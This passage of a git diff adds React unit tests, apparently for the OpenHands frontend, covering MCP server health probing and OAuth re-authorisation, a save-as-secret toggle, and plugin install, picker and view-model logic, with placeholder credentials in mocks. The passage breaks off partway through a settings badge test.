+      "quadrants",
+    );
+  });
+});
diff --git a/__tests__/components/features/mcp-page/mcp-server-health.test.tsx b/__tests__/components/features/mcp-page/mcp-server-health.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..df84ad5840bea01b43c0d8a55400d406c6c2bf98
--- /dev/null
+++ b/__tests__/components/features/mcp-page/mcp-server-health.test.tsx
@@ -0,0 +1,225 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, fireEvent, waitFor } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { __resetMcpHealthStoreForTests } from "#/api/mcp-health/mcp-health-store";
+import McpService from "#/api/mcp-service/mcp-service.api";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { InstalledServerCard } from "#/components/features/mcp-page/installed-server-card";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import type { ExtendedMCPTestResponse, MCPServerConfig } from "#/types/mcp-server";
+
+const CUSTOM_SERVER: MCPServerConfig = {
+  id: "custom",
+  type: "shttp",
+  name: "custom",
+  url: "https://mcp.example.com/mcp",
+};
+
+/** Matches the catalog `github` entry (probe spec + docsUrl). */
+const GITHUB_SERVER: MCPServerConfig = {
+  id: "github",
+  type: "shttp",
+  name: "github",
+  url: "https://api.githubcopilot.com/mcp/",
+  auth: { strategy: "api_key", value: "github_pat_x" },
+};
+
+const OAUTH_SERVER: MCPServerConfig = {
+  id: "my-oauth",
+  type: "shttp",
+  name: "my-oauth",
+  url: "https://mcp.oauth.example/mcp",
+  auth: { strategy: "oauth2" },
+};
+
+function renderCard(
+  server: MCPServerConfig,
+  { onEdit = vi.fn(), onToggleEnabled = vi.fn() } = {},
+) {
+  render(
+    <InstalledServerCard
+      server={server}
+      onEdit={onEdit}
+      onToggleEnabled={onToggleEnabled}
+    />,
+    {
+      wrapper: ({ children }) => (
+        <QueryClientProvider
+          client={
+            new QueryClient({ defaultOptions: { queries: { retry: false } } })
+          }
+        >
+          <ActiveBackendProvider>{children}</ActiveBackendProvider>
+        </QueryClientProvider>
+      ),
+    },
+  );
+  return { onEdit, onToggleEnabled };
+}
+
+const healthDot = () => screen.getByTestId("mcp-health-dot");
+const probeButton = (id: string) =>
+  screen.getByTestId(`mcp-health-probe-${id}`);
+
+describe("InstalledServerCard connection health", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    __resetMcpHealthStoreForTests();
+    // The backend registry persists to localStorage; wipe it before the
+    // reset re-reads storage so each test starts on the default local backend.
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      MOCK_DEFAULT_USER_SETTINGS,
+    );
+  });
+
+  it("probes on demand: unchecked → checking → healthy with connectivity-only labeling", async () => {
+    let resolveProbe!: (value: ExtendedMCPTestResponse) => void;
+    vi.spyOn(McpService, "testServer").mockReturnValue(
+      new Promise((resolve) => {
+        resolveProbe = resolve;
+      }),
+    );
+    renderCard(CUSTOM_SERVER);
+    expect(healthDot()).toHaveAttribute("data-status", "unchecked");
+
+    fireEvent.click(probeButton(CUSTOM_SERVER.id));
+    expect(healthDot()).toHaveAttribute("data-status", "checking");
+
+    resolveProbe({ ok: true, tools: ["a", "b"] });
+    await waitFor(() =>
+      expect(healthDot()).toHaveAttribute("data-status", "healthy-connectivity"),
+    );
+    // The explicit "proves connectivity only" hint must accompany the result.
+    expect(
+      screen.getByText("MCP$HEALTH_CONNECTIVITY_ONLY_HINT"),
+    ).toBeInTheDocument();
+  });
+
+  it("offers Retry, Update credentials, and docs on a credentials failure, routing the fix to the editor only", async () => {
+    vi.spyOn(McpService, "testServer").mockResolvedValue({
+      ok: false,
+      error: "invalid_auth",
+      error_kind: "credentials",
+    });
+    const { onEdit } = renderCard(GITHUB_SERVER);
+
+    fireEvent.click(probeButton(GITHUB_SERVER.id));
+    await waitFor(() =>
+      expect(healthDot()).toHaveAttribute("data-status", "failed"),
+    );
+
+    // Probing must not have bubbled into the card's edit action.
+    expect(onEdit).not.toHaveBeenCalled();
+    expect(probeButton(GITHUB_SERVER.id)).toHaveTextContent("MCP$HEALTH_RETRY");
+    expect(
+      screen.getByRole("link", { name: "MCP$VIEW_DOCS" }),
+    ).toHaveAttribute("href", "https://github.com/github/github-mcp-server");
+
+    fireEvent.click(
+      screen.getByTestId(`mcp-health-update-credentials-${GITHUB_SERVER.id}`),
+    );
+    expect(onEdit).toHaveBeenCalledTimes(1);
+  });
+
+  it("Retry re-probes and moves the card to healthy in place", async () => {
+    vi.spyOn(McpService, "testServer")
+      .mockResolvedValueOnce({
+        ok: false,
+        error: "refused",
+        error_kind: "connection",
+      })
+      .mockResolvedValueOnce({ ok: true, tools: ["a"] });
+    renderCard(CUSTOM_SERVER);
+
+    fireEvent.click(probeButton(CUSTOM_SERVER.id));
+    await waitFor(() =>
+      expect(healthDot()).toHaveAttribute("data-status", "failed"),
+    );
+
+    fireEvent.click(probeButton(CUSTOM_SERVER.id));
+    await waitFor(() =>
+      expect(healthDot()).toHaveAttribute("data-status", "healthy-connectivity"),
+    );
+  });
+
+  it("renders no health section on cloud backends", () => {
+    setRegisteredBackends([
+      {
+        id: "cloud-1",
+        name: "Cloud",
+        host: "https://app.all-hands.dev",
+        apiKey: "k",
+        kind: "cloud",
+      },
+    ]);
+    setActiveSelection({ backendId: "cloud-1" });
+
+    renderCard(CUSTOM_SERVER);
+
+    expect(
+      screen.queryByTestId(`mcp-server-health-${CUSTOM_SERVER.id}`),
+    ).not.toBeInTheDocument();
+  });
+
+  it("re-authorizes a failed OAuth server and persists the refreshed state", async () => {
+    vi.mocked(SettingsService.getSettings).mockResolvedValue({
+      ...MOCK_DEFAULT_USER_SETTINGS,
+      agent_settings: {
+        ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+        mcp_config: {
+          "my-oauth": {
+            transport: "http",
+            url: OAUTH_SERVER.url!,
+            auth: { strategy: "oauth2" },
+          },
+        },
+      },
+    });
+    vi.spyOn(McpService, "testServer").mockResolvedValue({
+      ok: false,
+      error: "token expired",
+      error_kind: "unknown",
+    });
+    vi.spyOn(McpService, "authorizeOAuth").mockResolvedValue({
+      ok: true,
+      tools: [],
+      oauth_state: { tokens: { access_token: "fresh-access-token" } },
+    });
+    const patchSpy = vi
+      .spyOn(SettingsService, "patchMcpServer")
+      .mockResolvedValue(true);
+    renderCard(OAUTH_SERVER);
+
+    fireEvent.click(probeButton(OAUTH_SERVER.id));
+    await waitFor(() =>
+      expect(healthDot()).toHaveAttribute("data-status", "failed"),
+    );
+
+    fireEvent.click(
+      screen.getByTestId(`mcp-health-reauthorize-${OAUTH_SERVER.id}`),
+    );
+
+    await waitFor(() =>
+      expect(healthDot()).toHaveAttribute("data-status", "healthy-connectivity"),
+    );
+    expect(McpService.authorizeOAuth).toHaveBeenCalledTimes(1);
+    // The refreshed oauth_state is persisted, not dropped on the floor.
+    await waitFor(() => expect(patchSpy).toHaveBeenCalledTimes(1));
+    expect(patchSpy).toHaveBeenCalledWith(
+      OAUTH_SERVER.id,
+      expect.objectContaining({ auth: expect.any(Object) }),
+    );
+    expect(JSON.stringify(patchSpy.mock.calls[0][1])).toContain(
+      "fresh-access-token",
+    );
+  });
+});
diff --git a/__tests__/components/features/mcp-page/save-as-secret-toggle.test.tsx b/__tests__/components/features/mcp-page/save-as-secret-toggle.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..4ff4578c83a74b3befef3048ee4ca06a2e78f3f2
--- /dev/null
+++ b/__tests__/components/features/mcp-page/save-as-secret-toggle.test.tsx
@@ -0,0 +1,113 @@
+import type { ReactNode } from "react";
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { SaveAsSecretToggle } from "#/components/features/mcp-page/save-as-secret-toggle";
+
+// HeroUI's Tooltip (used inside StyledTooltip) only mounts its content on a
+// real hover event, which jsdom doesn't fire. Stub it so the content renders
+// eagerly and is queryable in tests.
+vi.mock("#/components/shared/buttons/styled-tooltip", () => ({
+  StyledTooltip: ({
+    content,
+    children,
+  }: {
+    content: ReactNode;
+    children: ReactNode;
+  }) => (
+    <>
+      {children}
+      <span data-testid="styled-tooltip-content">{content}</span>
+    </>
+  ),
+}));
+
+describe("SaveAsSecretToggle", () => {
+  // ── rendering ──────────────────────────────────────────────────────────────
+
+  it("attaches data-testid to the label using fieldKey", () => {
+    render(
+      <SaveAsSecretToggle fieldKey="MY_KEY" checked={false} onToggle={vi.fn()} />,
+    );
+    expect(
+      screen.getByTestId("mcp-install-save-secret-MY_KEY"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders the field key inside a <code> element", () => {
+    render(
+      <SaveAsSecretToggle fieldKey="MY_KEY" checked={false} onToggle={vi.fn()} />,
+    );
+    const codeEl = screen.getByText("MY_KEY");
+    expect(codeEl.tagName.toLowerCase()).toBe("code");
+  });
+
+  it("renders the checkbox unchecked when checked=false", () => {
+    render(
+      <SaveAsSecretToggle fieldKey="KEY" checked={false} onToggle={vi.fn()} />,
+    );
+    expect(screen.getByRole("checkbox")).not.toBeChecked();
+  });
+
+  it("renders the checkbox checked when checked=true", () => {
+    render(
+      <SaveAsSecretToggle fieldKey="KEY" checked={true} onToggle={vi.fn()} />,
+    );
+    expect(screen.getByRole("checkbox")).toBeChecked();
+  });
+
+  // ── accessibility ──────────────────────────────────────────────────────────
+
+  it("the info button has an aria-label describing its purpose", () => {
+    render(
+      <SaveAsSecretToggle fieldKey="KEY" checked={false} onToggle={vi.fn()} />,
+    );
+    // t(key) => key in tests, so aria-label equals the raw i18n key.
+    const infoBtn = screen.getByRole("button");
+    expect(infoBtn).toHaveAttribute(
+      "aria-label",
+      "MCP$SAVE_AS_SECRET_TOOLTIP",
+    );
+  });
+
+  it("the visual track is hidden from the accessibility tree (aria-hidden)", () => {
+    const { container } = render(
+      <SaveAsSecretToggle fieldKey="KEY" checked={false} onToggle={vi.fn()} />,
+    );
+    // The decorative <span> that forms the visual slider track.
+    const track = container.querySelector("span[aria-hidden='true']");
+    expect(track).toBeInTheDocument();
+  });
+
+  // ── interaction ────────────────────────────────────────────────────────────
+
+  it("calls onToggle(true) when the unchecked checkbox is clicked", () => {
+    const onToggle = vi.fn();
+    render(
+      <SaveAsSecretToggle fieldKey="KEY" checked={false} onToggle={onToggle} />,
+    );
+    fireEvent.click(screen.getByRole("checkbox"));
+    expect(onToggle).toHaveBeenCalledWith(true);
+  });
+
+  it("calls onToggle(false) when the checked checkbox is clicked", () => {
+    const onToggle = vi.fn();
+    render(
+      <SaveAsSecretToggle fieldKey="KEY" checked={true} onToggle={onToggle} />,
+    );
+    fireEvent.click(screen.getByRole("checkbox"));
+    expect(onToggle).toHaveBeenCalledWith(false);
+  });
+
+  // ── tooltip ────────────────────────────────────────────────────────────────
+
+  it("passes tooltip text to StyledTooltip as its content prop", () => {
+    render(
+      <SaveAsSecretToggle fieldKey="KEY" checked={false} onToggle={vi.fn()} />,
+    );
+    // The mock renders StyledTooltip's content prop into a <span>.
+    // t(key) => key, so the rendered text is the raw i18n key.
+    expect(screen.getByTestId("styled-tooltip-content")).toHaveTextContent(
+      "MCP$SAVE_AS_SECRET_TOOLTIP",
+    );
+  });
+});
diff --git a/__tests__/components/features/plugins/add-plugin-modal.test.tsx b/__tests__/components/features/plugins/add-plugin-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..60cd0968920bc933a1e488599e4cb0e0db2a2189
--- /dev/null
+++ b/__tests__/components/features/plugins/add-plugin-modal.test.tsx
@@ -0,0 +1,65 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { AddPluginModal } from "#/components/features/plugins/add-plugin-modal";
+import PluginsManagementService from "#/api/plugins-management-service";
+
+function renderAddPluginModal(onClose = vi.fn()) {
+  render(<AddPluginModal onClose={onClose} />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({ defaultOptions: { queries: { retry: false } } })
+        }
+      >
+        {children}
+      </QueryClientProvider>
+    ),
+  });
+  return { onClose };
+}
+
+describe("AddPluginModal", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it("installs the plugin with the entered source on submit", async () => {
+    const user = userEvent.setup();
+    const installSpy = vi
+      .spyOn(PluginsManagementService, "installPlugin")
+      .mockResolvedValue({
+        name: "weather",
+        version: "1.0.0",
+        description: "",
+        enabled: true,
+        source: "github:acme/weather",
+        resolved_ref: null,
+        repo_path: null,
+        installed_at: "2026-06-01T00:00:00Z",
+        install_path: "/home/.openhands/plugins/installed/weather",
+      });
+
+    renderAddPluginModal();
+    await user.type(
+      screen.getByTestId("add-plugin-source-input"),
+      "github:acme/weather",
+    );
+    await user.click(screen.getByTestId("add-plugin-submit"));
+
+    await waitFor(() =>
+      expect(installSpy).toHaveBeenCalledWith({
+        source: "github:acme/weather",
+        ref: null,
+        repo_path: null,
+      }),
+    );
+  });
+
+  it("disables the submit button while the source field is empty", () => {
+    renderAddPluginModal();
+
+    expect(screen.getByTestId("add-plugin-submit")).toBeDisabled();
+  });
+});
diff --git a/__tests__/components/features/plugins/build-plugins-view-model.test.ts b/__tests__/components/features/plugins/build-plugins-view-model.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..898d59786cc1786a93ab7cb14164a4a9527bfc6e
--- /dev/null
+++ b/__tests__/components/features/plugins/build-plugins-view-model.test.ts
@@ -0,0 +1,174 @@
+import { describe, expect, it } from "vitest";
+import {
+  buildPluginsViewModel,
+  matchesPluginStatus,
+} from "#/components/features/plugins/build-plugins-view-model";
+import type { MarketplacePlugin, LocalPlugin } from "#/api/plugins-service";
+import type { InstalledPluginInfo } from "#/api/plugins-management-service";
+
+const catalogPlugin: MarketplacePlugin = {
+  name: "demo-plugin",
+  description: "Catalog description",
+  source: "github:OpenHands/extensions",
+  ref: null,
+  repo_path: "plugins/demo-plugin",
+  installed: false,
+};
+
+const installedPlugin: InstalledPluginInfo = {
+  name: "demo-plugin",
+  version: "2.0.0",
+  description: "Installed description",
+  enabled: false,
+  source: "github:OpenHands/extensions",
+  resolved_ref: "main",
+  repo_path: "plugins/demo-plugin",
+  installed_at: "2026-06-01T00:00:00Z",
+  install_path: "/home/.openhands/plugins/installed/demo-plugin",
+};
+
+const localPlugin: LocalPlugin = {
+  name: "ambient-plugin",
+  version: "1.0.0",
+  description: "Ambient description",
+};
+
+describe("buildPluginsViewModel", () => {
+  it("merges a plugin present in both the catalog and the installed list into one installed entry", () => {
+    const result = buildPluginsViewModel([catalogPlugin], [installedPlugin]);
+
+    expect(result).toHaveLength(1);
+    expect(result[0]).toMatchObject({
+      name: "demo-plugin",
+      installed: true,
+      inCatalog: true,
+      enabled: false,
+      version: "2.0.0",
+    });
+  });
+
+  it("marks a catalog-only plugin as not installed", () => {
+    const result = buildPluginsViewModel([catalogPlugin], []);
+
+    expect(result).toHaveLength(1);
+    expect(result[0]).toMatchObject({
+      name: "demo-plugin",
+      installed: false,
+      inCatalog: true,
+    });
+  });
+
+  it("keeps an installed plugin that is absent from the catalog", () => {
+    const result = buildPluginsViewModel([], [installedPlugin]);
+
+    expect(result).toHaveLength(1);
+    expect(result[0]).toMatchObject({
+      name: "demo-plugin",
+      installed: true,
+      inCatalog: false,
+      enabled: false,
+    });
+  });
+
+  it("adds a locally-discovered plugin as a read-only local entry", () => {
+    const result = buildPluginsViewModel([], [], [localPlugin]);
+
+    expect(result).toHaveLength(1);
+    expect(result[0]).toMatchObject({
+      name: "ambient-plugin",
+      isLocal: true,
+      installed: false,
+      inCatalog: false,
+      version: "1.0.0",
+    });
+  });
+
+  it("does not add a separate local entry when the plugin is already installed", () => {
+    const result = buildPluginsViewModel(
+      [],
+      [installedPlugin],
+      [{ ...localPlugin, name: installedPlugin.name }],
+    );
+
+    expect(result).toHaveLength(1);
+    expect(result[0]).toMatchObject({
+      name: "demo-plugin",
+      installed: true,
+      isLocal: false,
+    });
+  });
+
+  it("classifies a local plugin under the local filter and not the available filter", () => {
+    const [local] = buildPluginsViewModel([], [], [localPlugin]);
+
+    expect(matchesPluginStatus(local, "local")).toBe(true);
+    expect(matchesPluginStatus(local, "available")).toBe(false);
+  });
+
+  it("prefers the installed copy's contents over the catalog's", () => {
+    const result = buildPluginsViewModel(
+      [
+        {
+          ...catalogPlugin,
+          path: "/cache/plugins/demo-plugin",
+          skills: [{ name: "catalog-skill" }],
+          files: ["catalog.md"],
+        },
+      ],
+      [
+        {
+          ...installedPlugin,
+          skills: [{ name: "installed-skill" }],
+          files: ["installed.md"],
+        },
+      ],
+    );
+
+    expect(result[0]).toMatchObject({
+      path: installedPlugin.install_path,
+      skills: [{ name: "installed-skill" }],
+      files: ["installed.md"],
+    });
+  });
+
+  it("falls back to the catalog's contents when the installed entry has none", () => {
+    const result = buildPluginsViewModel(
+      [
+        {
+          ...catalogPlugin,
+          path: "/cache/plugins/demo-plugin",
+          skills: [{ name: "catalog-skill" }],
+          files: ["catalog.md"],
+        },
+      ],
+      [installedPlugin],
+    );
+
+    expect(result[0]).toMatchObject({
+      path: "/cache/plugins/demo-plugin",
+      skills: [{ name: "catalog-skill" }],
+      files: ["catalog.md"],
+    });
+  });
+
+  it("carries a local plugin's contents into its entry", () => {
+    const result = buildPluginsViewModel(
+      [],
+      [],
+      [
+        {
+          ...localPlugin,
+          path: "/home/.agents/plugins/ambient-plugin",
+          skills: [{ name: "ambient-skill" }],
+          files: ["SKILL.md"],
+        },
+      ],
+    );
+
+    expect(result[0]).toMatchObject({
+      path: "/home/.agents/plugins/ambient-plugin",
+      skills: [{ name: "ambient-skill" }],
+      files: ["SKILL.md"],
+    });
+  });
+});
diff --git a/__tests__/components/features/plugins/plugin-files-section.test.tsx b/__tests__/components/features/plugins/plugin-files-section.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..31a0844fbbe681886bc6ef032915f5dc0380a0b5
--- /dev/null
+++ b/__tests__/components/features/plugins/plugin-files-section.test.tsx
@@ -0,0 +1,85 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { PluginFilesSection } from "#/components/features/plugins/plugin-files-section";
+import PluginsService from "#/api/plugins-service";
+
+function renderFilesSection(files: string[] = ["README.md"]) {
+  return render(<PluginFilesSection basePath="/plugins/demo" files={files} />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({ defaultOptions: { queries: { retry: false } } })
+        }
+      >
+        {children}
+      </QueryClientProvider>
+    ),
+  });
+}
+
+describe("PluginFilesSection", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it("fetches and shows a file's content when the file is clicked", async () => {
+    const user = userEvent.setup();
+    const contentSpy = vi
+      .spyOn(PluginsService, "getPluginFileContent")
+      .mockResolvedValue({ kind: "text", text: "# Demo readme" });
+
+    renderFilesSection();
+    await user.click(screen.getByTestId("file-tree-file-README.md"));
+
+    await waitFor(() =>
+      expect(screen.getByTestId("plugin-file-content")).toHaveTextContent(
+        "Demo readme",
+      ),
+    );
+    expect(contentSpy).toHaveBeenCalledWith("/plugins/demo", "README.md");
+  });
+
+  it("closes the content viewer when the selected file is clicked again", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(PluginsService, "getPluginFileContent").mockResolvedValue({
+      kind: "text",
+      text: "# Demo readme",
+    });
+
+    renderFilesSection();
+    await user.click(screen.getByTestId("file-tree-file-README.md"));
+    await screen.findByTestId("plugin-file-content");
+    await user.click(screen.getByTestId("file-tree-file-README.md"));
+
+    expect(screen.queryByTestId("plugin-file-content")).not.toBeInTheDocument();
+  });
+
+  it("shows a binary notice instead of content for binary files", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(PluginsService, "getPluginFileContent").mockResolvedValue({
+      kind: "binary",
+      text: null,
+    });
+
+    renderFilesSection(["logo.png"]);
+    await user.click(screen.getByTestId("file-tree-file-logo.png"));
+
+    expect(
+      await screen.findByText("FILES$BINARY_FALLBACK"),
+    ).toBeInTheDocument();
+  });
+
+  it("shows a load error when fetching the file fails", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(PluginsService, "getPluginFileContent").mockRejectedValue(
+      new Error("unreachable"),
+    );
+
+    renderFilesSection();
+    await user.click(screen.getByTestId("file-tree-file-README.md"));
+
+    expect(await screen.findByText("FILES$LOAD_ERROR")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/plugins/plugin-picker.test.tsx b/__tests__/components/features/plugins/plugin-picker.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e29f39cb1155993eccaaace385a6025733875b0b
--- /dev/null
+++ b/__tests__/components/features/plugins/plugin-picker.test.tsx
@@ -0,0 +1,129 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import PluginsService, { type MarketplacePlugin } from "#/api/plugins-service";
+import type { PluginSpec } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { PluginPicker } from "#/components/features/plugins/plugin-picker";
+
+// The catalog hook's service constructs a typescript-client `PluginsClient` at
+// module load; stub it so importing the service never touches the real client.
+// Every test replaces `getPluginsMarketplace` itself, so the client is unused.
+vi.mock("@openhands/typescript-client/clients", () => ({
+  PluginsClient: vi.fn(),
+}));
+
+const alpha: MarketplacePlugin = {
+  name: "alpha",
+  description: "first plugin",
+  source: "github:o/a",
+  ref: null,
+  repo_path: "plugins/alpha",
+  installed: false,
+};
+const beta: MarketplacePlugin = {
+  name: "beta",
+  description: "second plugin",
+  source: "github:o/b",
+  ref: null,
+  repo_path: null,
+  installed: true,
+};
+const alphaSpec: PluginSpec = {
+  source: "github:o/a",
+  ref: null,
+  repo_path: "plugins/alpha",
+};
+
+function renderPicker(selected: PluginSpec[] = []) {
+  const onChange = vi.fn();
+  renderWithProviders(<PluginPicker selected={selected} onChange={onChange} />);
+  return { onChange };
+}
+
+describe("PluginPicker", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it("renders a selectable card for each catalog plugin", async () => {
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([
+      alpha,
+      beta,
+    ]);
+
+    renderPicker();
+
+    expect(
+      await screen.findByTestId("plugin-picker-card-alpha"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("plugin-picker-card-beta")).toBeInTheDocument();
+  });
+
+  it("reports the mapped PluginSpec when an unselected plugin is toggled on", async () => {
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([
+      alpha,
+    ]);
+    const { onChange } = renderPicker([]);
+
+    await userEvent.click(
+      await screen.findByTestId("plugin-picker-toggle-alpha"),
+    );
+
+    expect(onChange).toHaveBeenCalledWith([alphaSpec]);
+  });
+
+  it("removes a plugin from the selection when toggled off", async () => {
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([
+      alpha,
+    ]);
+    const { onChange } = renderPicker([alphaSpec]);
+
+    await userEvent.click(
+      await screen.findByTestId("plugin-picker-toggle-alpha"),
+    );
+
+    expect(onChange).toHaveBeenCalledWith([]);
+  });
+
+  it("shows the empty state when the catalog is empty", async () => {
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([]);
+
+    renderPicker();
+
+    expect(
+      await screen.findByTestId("plugin-picker-empty"),
+    ).toBeInTheDocument();
+  });
+
+  it("shows the error state when the catalog fails to load", async () => {
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockRejectedValue(
+      new Error("unreachable"),
+    );
+
+    renderPicker();
+
+    expect(
+      await screen.findByTestId("plugin-picker-error"),
+    ).toBeInTheDocument();
+  });
+
+  it("filters the catalog by the search query", async () => {
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([
+      alpha,
+      beta,
+    ]);
+
+    renderPicker();
+    await screen.findByTestId("plugin-picker-card-alpha");
+    await userEvent.type(
+      screen.getByTestId("plugin-picker-search-input"),
+      "alpha",
+    );
+
+    expect(screen.getByTestId("plugin-picker-card-alpha")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("plugin-picker-card-beta"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/plugins/plugin-spec-identity.test.ts b/__tests__/components/features/plugins/plugin-spec-identity.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..9a9df00fc7d9cf1979b4850de594089e84784c24
--- /dev/null
+++ b/__tests__/components/features/plugins/plugin-spec-identity.test.ts
@@ -0,0 +1,87 @@
+import { describe, expect, it } from "vitest";
+import type { MarketplacePlugin } from "#/api/plugins-service";
+import {
+  isPluginSelected,
+  marketplacePluginToSpec,
+  matchesPluginPickerSearch,
+  pluginSpecKey,
+  togglePluginSelection,
+} from "#/components/features/plugins/plugin-spec-identity";
+
+const catalogPlugin: MarketplacePlugin = {
+  name: "city-weather",
+  description: "Weather plugin",
+  source: "github:OpenHands/extensions",
+  ref: null,
+  repo_path: "plugins/city-weather",
+  installed: false,
+};
+
+describe("plugin-spec-identity", () => {
+  it("maps a catalog entry to attachable coordinates and drops parameters", () => {
+    // Arrange: a catalog entry that also carries non-coordinate fields.
+    // Act
+    const spec = marketplacePluginToSpec(catalogPlugin);
+
+    // Assert: only source/ref/repo_path survive — no name/description/parameters.
+    expect(spec).toEqual({
+      source: "github:OpenHands/extensions",
+      ref: null,
+      repo_path: "plugins/city-weather",
+    });
+  });
+
+  it("treats missing and explicit-null coordinates as the same identity", () => {
+    // Arrange / Act / Assert: an undefined ref and a null ref hash equally,
+    // so a catalog entry matches a stored spec regardless of which it used.
+    expect(pluginSpecKey({ source: "github:o/a" })).toBe(
+      pluginSpecKey({ source: "github:o/a", ref: null, repo_path: null }),
+    );
+  });
+
+  it("adds an unselected plugin to the selection", () => {
+    // Arrange
+    const selected = togglePluginSelection([], catalogPlugin);
+
+    // Assert
+    expect(selected).toEqual([
+      {
+        source: "github:OpenHands/extensions",
+        ref: null,
+        repo_path: "plugins/city-weather",
+      },
+    ]);
+  });
+
+  it("removes a plugin that is already selected", () => {
+    // Arrange: the selection already contains the plugin's coordinates.
+    const existing = marketplacePluginToSpec(catalogPlugin);
+
+    // Act: toggling the same plugin again removes it.
+    const selected = togglePluginSelection([existing], catalogPlugin);
+
+    // Assert
+    expect(selected).toEqual([]);
+  });
+
+  it("reports whether a plugin's coordinates are in the selection", () => {
+    // Arrange
+    const selection = [marketplacePluginToSpec(catalogPlugin)];
+
+    // Assert: present coordinates match; a different repo_path does not.
+    expect(isPluginSelected(selection, catalogPlugin)).toBe(true);
+    expect(
+      isPluginSelected(selection, {
+        ...catalogPlugin,
+        repo_path: "plugins/other",
+      }),
+    ).toBe(false);
+  });
+
+  it("filters case-insensitively by visible fields and matches everything when empty", () => {
+    // Assert: empty query keeps all; a query matches across name/description/source.
+    expect(matchesPluginPickerSearch(catalogPlugin, "")).toBe(true);
+    expect(matchesPluginPickerSearch(catalogPlugin, "WEATHER")).toBe(true);
+    expect(matchesPluginPickerSearch(catalogPlugin, "nonexistent")).toBe(false);
+  });
+});
diff --git a/__tests__/components/features/settings/backend-synced-settings-badge.test.tsx b/__tests__/components/features/settings/backend-synced-settings-badge.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..672b0734ba9ad3a9e2bb53157ed5b4213d6fb358
--- /dev/null
+++ b/__tests__/components/features/settings/backend-synced-settings-badge.test.tsx
@@ -0,0 +1,161 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { BackendSyncedSettingsBadge } from "#/components/features/settings/backend-synced-settings-badge";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import * as orgService from "#/api/cloud/organization-service.api";
+import type { Backend } from "#/api/backend-registry/types";
+
+// Override the global react-i18next mock for this file. The badge under
+// test interpolates `{{name}}` and `{{host}}`, and one regression we
+// care about is that the host's `/` characters render literally rather
+// than HTML-escaped (`&#x2F;`). The mock below performs `{{var}}`
+// substitution and applies i18next's default HTML escape unless
+// `interpolation.escapeValue === false` — exactly what the production
+// runtime does — so a missing opt-out would surface as escaped output.
+vi.mock("react-i18next", async (importOriginal) => {
+  const actual = await importOriginal<typeof import("react-i18next")>();
+  const TEMPLATES: Record<string, string> = {
+    SETTINGS$BACKEND_SYNCED_BADGE:
+      "These settings are synced from {{name}} backend ({{host}})",
+  };
+  const htmlEscape = (s: string) =>
+    s
+      .replace(/&/g, "&amp;")
+      .replace(/</g, "&lt;")
+      .replace(/>/g, "&gt;")
+      .replace(/"/g, "&quot;")
+      .replace(/'/g, "&#39;")
+      .replace(/\//g, "&#x2F;");
+  return {
+    ...actual,
+    useTranslation: () => ({
+      t: (key: string, opts?: Record<string, unknown>) => {
+        const tpl = TEMPLATES[key] ?? key;
+        if (!opts) return tpl;
+        const { interpolation } = opts as {
+          interpolation?: { escapeValue?: boolean };
+        };
+        const escape = interpolation?.escapeValue !== false;
+        return tpl.replace(/\{\{(\w+)\}\}/g, (_match, name) => {
+          if (!(name in opts)) return "";
